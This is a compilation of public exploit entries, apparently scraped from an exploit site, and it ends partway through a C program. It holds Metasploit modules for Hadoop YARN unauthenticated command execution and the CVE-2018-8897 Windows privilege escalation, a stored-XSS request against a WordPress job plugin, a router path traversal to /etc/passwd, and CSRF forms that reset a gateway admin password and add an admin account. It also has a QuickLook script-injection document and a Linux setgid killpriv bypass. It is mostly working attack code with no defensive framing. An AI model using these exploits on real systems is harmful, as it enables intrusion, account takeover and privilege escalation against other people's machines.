or exploits by the author or elsewhere. All content (c).

hyp3rlinx
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
      'Description'    => %q{
          This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'cbmixx',                            # Proof of concept
          'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn']
        ],
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 19 2016',
      'DefaultTarget'  => 0
    ))

    register_options([Opt::RPORT(8088)])
  end

  def check
    begin
      res = send_request_cgi(
        'uri'    => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
        'method' => 'POST'
      )
    rescue Rex::ConnectionError
      vprint_error("#{peer} - Connection failed")
      return CheckCode::Unknown
    end

    if res && res.code == 200 && res.body.include?('application-id')
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def exploit
    print_status('Sending Command')
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    res = send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'),
      'method' => 'POST'
    )

    app_id = res.get_json_document['application-id']

    post = {
      'application-id'    => app_id,
      'application-name'  => Rex::Text.rand_text_alpha_lower(4..12),
      'application-type'  => 'YARN',
      'am-container-spec' => {
        'commands'        => {'command' => cmd.to_s}
      }
    }

    send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'),
      'method' => 'POST',
      'ctype'  => 'application/json',
      'data'   => post.to_json
    )
  end

end
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in a statement in the system programming guide
        of the Intel 64 and IA-32 architectures software developer's manual being mishandled
        in various operating system kerneles, resulting in unexpected behavior for #DB
        excpetions that are deferred by MOV SS or POP SS.

        This module will upload the pre-compiled exploit and use it to execute the final
        payload in order to gain remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nick Peterson',        # Original discovery (@nickeverdox)
          'Nemanja Mulasmajic',   # Original discovery (@0xNemi)
          'Can Bölük <can1357>',  # PoC
          'bwatters-r7'           # msf module
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 08 2018',
      'References'     =>
        [
          ['CVE', '2018-8897'],
          ['EDB', '44697'],
          ['BID', '104071'],
          ['URL', 'https://github.com/can1357/CVE-2018-8897/'],
          ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'False'
        }
    ))

    register_options([
      OptString.new('EXPLOIT_NAME',
        [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
      OptString.new('PAYLOAD_NAME',
        [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('PATH',
        [false, 'Path to write binaries (%TEMP% by default).', nil]),
      OptInt.new('EXECUTE_DELAY',
        [false, 'The number of seconds to delay before executing the exploit', 3])
    ])
  end

  def setup
    super
    @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
    @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
    @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    @payload_path = "#{temp_path}\\#{payload_name}"
    @exploit_path = "#{temp_path}\\#{exploit_name}"
    @payload_exe = generate_payload_exe
  end

  def validate_active_host
    begin
      host = session.session_host
      print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def validate_remote_path(path)
    unless directory?(path)
      fail_with(Failure::Unreachable, "#{path} does not exist on the target")
    end
  end

  def validate_target
    if sysinfo['Architecture'] == ARCH_X86
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    if sysinfo['OS'] =~ /XP/
      fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
    end
  end

  def ensure_clean_destination(path)
    if file?(path)
      print_status("#{path} already exists on the target. Deleting...")
      begin
        file_rm(path)
        print_status("Deleted #{path}")
      rescue Rex::Post::Meterpreter::RequestError => e
        elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
        print_error("Unable to delete #{path}")
      end
    end
  end

  def ensure_clean_exploit_destination
    ensure_clean_destination(exploit_path)
  end

  def ensure_clean_payload_destination
    ensure_clean_destination(payload_path)
  end

  def upload_exploit
    local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
    upload_file(exploit_path, local_exploit_path)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
  end

  def upload_payload
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
  end

  def execute_exploit
    sleep(datastore['EXECUTE_DELAY'])
    print_status("Running exploit #{exploit_path} with payload #{payload_path}")
    output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
    vprint_status(output)
  end

  def exploit
    begin
      validate_active_host
      validate_target
      validate_remote_path(temp_path)
      ensure_clean_exploit_destination
      ensure_clean_payload_destination
      upload_exploit
      upload_payload
      execute_exploit
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
      print_error(e.message)
      ensure_clean_exploit_destination
      ensure_clean_payload_destination
    end
  end

  attr_reader :exploit_name
  attr_reader :payload_name
  attr_reader :payload_exe
  attr_reader :temp_path
  attr_reader :payload_path
  attr_reader :exploit_path
end
HireHackking 
# Exploit Title: Wordpress Plugin Job Manager v4.1.0 Stored Cross Site
Scripting
# Google Dork: N/A
# Date: 2018-07-15
# Exploit Author: Berk Dusunur & Selimcan Ozdemir
# Vendor Homepage: https://wpjobmanager.com
# Software Link: https://downloads.wordpress.org/plugin/wp-job-manager.latest-stable.zip
# Affected Version: v4.1.0
# Tested on: Parrot OS / WinApp Server
# CVE : N/A

# Proof Of Concept


POST
/post-a-job/?step=%00foymtv%22%20method=%22post%22%20id=%22submit-job-form%22%20class=%22job-manager-form%22%20enctype=%22multipart/form-data%22%3E%3Cscript%3Ealert(%271%27)%3C/script%3E%3Cform%20action=%22/post-a-job/?step=%00foymtv
HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
https://target/post-a-job/?step=%00foymtv22%20method=%22post%22%20id=%22submit-job-form%22%20class=%22job-manager-form%22%20enctype=%22multipart/form-data%22%3E%3Cscript%3Ealert(%271%27)%3C/script%3E%3Cform%20action=%22/post-a-job/?step=%00foymtv
Content-Type: multipart/form-data;
boundary=---------------------------3756777582569023921817540904
Content-Length: 2379
Cookie: wp-job-manager-submitting-job-id=88664;
wp-job-manager-submitting-job-key=5ae8875580aff
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_title"

teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_description"

test</p></div></div><form input=""><p></p><script>alert('1')</script><a
href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_region"

184
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_type"

2
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="application"

www.google.com
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_location"

Adelaide, Australia
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_name"

teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_tagline"

teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_website"

www.google.com
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_logo"; filename=""
Content-Type: application/octet-stream


-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_poster_name"

teertert</p></body><script>alert('1')</script>
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="company_poster_email"

xssiletarihyazilmaz@gmail.com
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_manager_form"

submit-job
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="job_id"

0
-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="step"


-----------------------------3756777582569023921817540904
Content-Disposition: form-data; name="submit_job"

Preview
-----------------------------3756777582569023921817540904--
HireHackking 
Title: Vulnerability in VelotiSmart Wifi - Directory Traversal
Date: 12-07-2018
Scope: Directory Traversal
Platforms: Unix
Author: Miguel Mendez Z
Vendor: VelotiSmart
Version: B380
CVE: CVE-2018–14064


Vulnerability description
-------------------------
- The vulnerability that affects the device is LFI type in the uc-http service 1.0.0. What allows to obtain information of configurations, wireless scanned networks, sensitive directories, etc. Of the device.

Vulnerable variable:
http://domain:80/../../etc/passwd

Exploit link:
https://github.com/s1kr10s/ExploitVelotiSmart

Poc:
https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
HireHackking 
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway CSRF Vulnerabilities


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5478
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5478.php


13.03.2018

--


CSRF Change Admin password:
---------------------------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="pw1" value="nimda" />
      <input type="hidden" name="pw2" value="nimda" />
      <input type="hidden" name="passwdchange" value=" Change Passwd " />
      <input type="hidden" name="user_add" value="" />
      <input type="hidden" name="password_add" value="" />
      <input type="hidden" name="password2_add" value="" />
      <input type="hidden" name="Carrier_enable" value="0" />
      <input type="hidden" name="Carrier_Status" value="0" />
      <input type="hidden" name="Carrier_Settings" value="0" />
      <input type="hidden" name="Carrier_Keepalive" value="0" />
      <input type="hidden" name="Carrier_TrafficWatchdog" value="0" />
      <input type="hidden" name="Carrier_DynamicDNS" value="0" />
      <input type="hidden" name="Carrier_SMSConfig" value="0" />
      <input type="hidden" name="Carrier_SMS" value="0" />
      <input type="hidden" name="Carrier_DataUsage" value="0" />
      <input type="hidden" name="Comport_enable" value="0" />
      <input type="hidden" name="Comport_Status" value="0" />
      <input type="hidden" name="Comport_Com0" value="0" />
      <input type="hidden" name="Comport_Com1" value="0" />
      <input type="hidden" name="Firewall_enable" value="0" />
      <input type="hidden" name="Firewall_Status" value="0" />
      <input type="hidden" name="Firewall_General" value="0" />
      <input type="hidden" name="Firewall_Rules" value="0" />
      <input type="hidden" name="Firewall_PortForwarding" value="0" />
      <input type="hidden" name="Firewall_MACIPList" value="0" />
      <input type="hidden" name="Firewall_Reset" value="0" />
      <input type="hidden" name="GPS_enable" value="0" />
      <input type="hidden" name="GPS_Location" value="0" />
      <input type="hidden" name="GPS_Settings" value="0" />
      <input type="hidden" name="GPS_Report" value="0" />
      <input type="hidden" name="GPS_GpsGate" value="0" />
      <input type="hidden" name="GPS_Recorder" value="0" />
      <input type="hidden" name="GPS_LoadRecord" value="0" />
      <input type="hidden" name="I/O_enable" value="0" />
      <input type="hidden" name="I/O_Status" value="0" />
      <input type="hidden" name="I/O_OUTPUT" value="0" />
      <input type="hidden" name="Network_enable" value="0" />
      <input type="hidden" name="Network_Status" value="0" />
      <input type="hidden" name="Network_LAN" value="0" />
      <input type="hidden" name="Network_Routes" value="0" />
      <input type="hidden" name="Network_GRE" value="0" />
      <input type="hidden" name="Network_PIMSM" value="0" />
      <input type="hidden" name="Network_SNMP" value="0" />
      <input type="hidden" name="Network_sdpServer" value="0" />
      <input type="hidden" name="Network_LocalMonitor" value="0" />
      <input type="hidden" name="Network_Port" value="0" />
      <input type="hidden" name="System_enable" value="0" />
      <input type="hidden" name="System_Settings" value="0" />
      <input type="hidden" name="System_AccessControl" value="0" />
      <input type="hidden" name="System_Services" value="0" />
      <input type="hidden" name="System_Maintenance" value="0" />
      <input type="hidden" name="System_Reboot" value="0" />
      <input type="hidden" name="Tools_enable" value="0" />
      <input type="hidden" name="Tools_Discovery" value="0" />
      <input type="hidden" name="Tools_NetflowReport" value="0" />
      <input type="hidden" name="Tools_NMSSettings" value="0" />
      <input type="hidden" name="Tools_EventReport" value="0" />
      <input type="hidden" name="Tools_Modbus" value="0" />
      <input type="hidden" name="Tools_Websocket" value="0" />
      <input type="hidden" name="Tools_SiteSurvey" value="0" />
      <input type="hidden" name="Tools_Ping" value="0" />
      <input type="hidden" name="Tools_TraceRoute" value="0" />
      <input type="hidden" name="Tools_NetworkTraffic" value="0" />
      <input type="hidden" name="VPN_enable" value="0" />
      <input type="hidden" name="VPN_Summary" value="0" />
      <input type="hidden" name="VPN_GatewayToGateway" value="0" />
      <input type="hidden" name="VPN_ClientToGateway" value="0" />
      <input type="hidden" name="VPN_VPNClientAccess" value="0" />
      <input type="hidden" name="VPN_CertificateManagement" value="0" />
      <input type="hidden" name="VPN_CiscoEasyVPNClient" value="0" />
      <input type="submit" value="Change" />
    </form>
  </body>
</html>


CSRF Add Admin:
---------------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-acl.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="pw1" value="" />
      <input type="hidden" name="pw2" value="" />
      <input type="hidden" name="user_add" value="testingus" />
      <input type="hidden" name="password_add" value="123456" />
      <input type="hidden" name="password2_add" value="123456" />
      <input type="hidden" name="Carrier_enable" value="1" />
      <input type="hidden" name="Carrier_Status" value="1" />
      <input type="hidden" name="Carrier_Settings" value="1" />
      <input type="hidden" name="Carrier_Keepalive" value="1" />
      <input type="hidden" name="Carrier_TrafficWatchdog" value="1" />
      <input type="hidden" name="Carrier_DynamicDNS" value="1" />
      <input type="hidden" name="Carrier_SMSConfig" value="1" />
      <input type="hidden" name="Carrier_SMS" value="1" />
      <input type="hidden" name="Carrier_DataUsage" value="1" />
      <input type="hidden" name="Comport_enable" value="1" />
      <input type="hidden" name="Comport_Status" value="1" />
      <input type="hidden" name="Comport_Com0" value="1" />
      <input type="hidden" name="Comport_Com1" value="1" />
      <input type="hidden" name="Firewall_enable" value="1" />
      <input type="hidden" name="Firewall_Status" value="1" />
      <input type="hidden" name="Firewall_General" value="1" />
      <input type="hidden" name="Firewall_Rules" value="1" />
      <input type="hidden" name="Firewall_PortForwarding" value="1" />
      <input type="hidden" name="Firewall_MACIPList" value="1" />
      <input type="hidden" name="Firewall_Reset" value="1" />
      <input type="hidden" name="GPS_enable" value="1" />
      <input type="hidden" name="GPS_Location" value="1" />
      <input type="hidden" name="GPS_Settings" value="1" />
      <input type="hidden" name="GPS_Report" value="1" />
      <input type="hidden" name="GPS_GpsGate" value="1" />
      <input type="hidden" name="GPS_Recorder" value="1" />
      <input type="hidden" name="GPS_LoadRecord" value="1" />
      <input type="hidden" name="I/O_enable" value="1" />
      <input type="hidden" name="I/O_Status" value="1" />
      <input type="hidden" name="I/O_OUTPUT" value="1" />
      <input type="hidden" name="Network_enable" value="1" />
      <input type="hidden" name="Network_Status" value="1" />
      <input type="hidden" name="Network_LAN" value="1" />
      <input type="hidden" name="Network_Routes" value="1" />
      <input type="hidden" name="Network_GRE" value="1" />
      <input type="hidden" name="Network_PIMSM" value="1" />
      <input type="hidden" name="Network_SNMP" value="1" />
      <input type="hidden" name="Network_sdpServer" value="1" />
      <input type="hidden" name="Network_LocalMonitor" value="1" />
      <input type="hidden" name="Network_Port" value="1" />
      <input type="hidden" name="System_enable" value="1" />
      <input type="hidden" name="System_Settings" value="1" />
      <input type="hidden" name="System_AccessControl" value="1" />
      <input type="hidden" name="System_Services" value="1" />
      <input type="hidden" name="System_Maintenance" value="1" />
      <input type="hidden" name="System_Reboot" value="1" />
      <input type="hidden" name="Tools_enable" value="1" />
      <input type="hidden" name="Tools_Discovery" value="1" />
      <input type="hidden" name="Tools_NetflowReport" value="1" />
      <input type="hidden" name="Tools_NMSSettings" value="1" />
      <input type="hidden" name="Tools_EventReport" value="1" />
      <input type="hidden" name="Tools_Modbus" value="1" />
      <input type="hidden" name="Tools_Websocket" value="1" />
      <input type="hidden" name="Tools_SiteSurvey" value="1" />
      <input type="hidden" name="Tools_Ping" value="1" />
      <input type="hidden" name="Tools_TraceRoute" value="1" />
      <input type="hidden" name="Tools_NetworkTraffic" value="1" />
      <input type="hidden" name="VPN_enable" value="1" />
      <input type="hidden" name="VPN_Summary" value="1" />
      <input type="hidden" name="VPN_GatewayToGateway" value="1" />
      <input type="hidden" name="VPN_ClientToGateway" value="1" />
      <input type="hidden" name="VPN_VPNClientAccess" value="1" />
      <input type="hidden" name="VPN_CertificateManagement" value="1" />
      <input type="hidden" name="VPN_CiscoEasyVPNClient" value="1" />
      <input type="hidden" name="mhadd_user" value="Add User" />
      <input type="submit" value="Request" />
    </form>
  </body>
</html>
HireHackking 
QuickLook is a widely used feature in macOS/iOS which allows you to preview various formats such as pdf, docx, pptx, etc. The way it uses to show office files is quite interesting. First it parses the office file and converts it to HTML code using OfficeImport and renders it using WebKit. The problem is, it doesn't filter the names of fonts when generating HTML code from them. We can abuse it to inject arbitrary JavaScript code. Namely, we can execute arbitrary JavaScript code via an office file.

OfficeImport is located at /System/Library/PrivateFrameworks/OfficeImport.framework/Versions/A/OfficeImport.

I attached a PoC that will just print out "location.href". You can test it by "Right click -> Quick Look" on macOS or just opening the PoC file on iOS.

Here's the document.xml file of the PoC file where I injected JavaScript code.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture" xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:lc="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" xmlns:dgm="http://schemas.openxmlformats.org/drawingml/2006/diagram" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml"><w:body><w:p w:rsidR="00000000" w:rsidDel="00000000" w:rsidP="00000000" w:rsidRDefault="00000000" w:rsidRPr="00000000" w14:paraId="00000000"><w:pPr><w:contextualSpacing w:val="0"/><w:jc w:val="center"/><w:rPr><w:rFonts w:ascii="Trebuchet MS" w:cs="Trebuchet MS" w:eastAsia="Trebuchet MS" w:hAnsi="Trebuchet MS"/></w:rPr></w:pPr><w:r w:rsidDel="00000000" w:rsidR="00000000" w:rsidRPr="00000000"><w:rPr><w:rtl w:val="0"/></w:rPr><w:t xml:space="preserve">asdfasdfasdfasdfs</w:t></w:r><w:r w:rsidDel="00000000" w:rsidR="00000000" w:rsidRPr="00000000"><w:rPr><w:rFonts w:ascii="Trebuchet MS'</style><script>

document.write(location.href);

 </script>" w:cs="Trebuchet MS" w:eastAsia="Trebuchet MS" w:hAnsi="Trebuchet MS"/><w:rtl w:val="0"/></w:rPr><w:t xml:space="preserve">asdfadfasadfas</w:t></w:r></w:p><w:sectPr><w:pgSz w:h="15840" w:w="12240"/><w:pgMar w:bottom="1440" w:top="1440" w:left="1440" w:right="1440" w:header="0"/><w:pgNumType w:start="1"/></w:sectPr></w:body></w:document>


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45032.zip
HireHackking 
/*
Note: I am both sending this bug report to security@kernel.org and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.

I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============


Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/

"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/

However, as far as I can tell, neither of them actually landed.


You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/
):


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(void) {
  int src_fd = open("/usr/bin/id", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");

  int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");


  memcpy(mapping, src_mapping, src_len);

  munmap(mapping, src_len);
  close(fd);
  close(src_fd);

  execl("./dir/file", "id", NULL);
  err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============


sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.

On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:


=============
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c 
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("usage: ./fallocate <file_to_read>");
    return 1;
  }
  int src_fd = open("/bin/cat", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
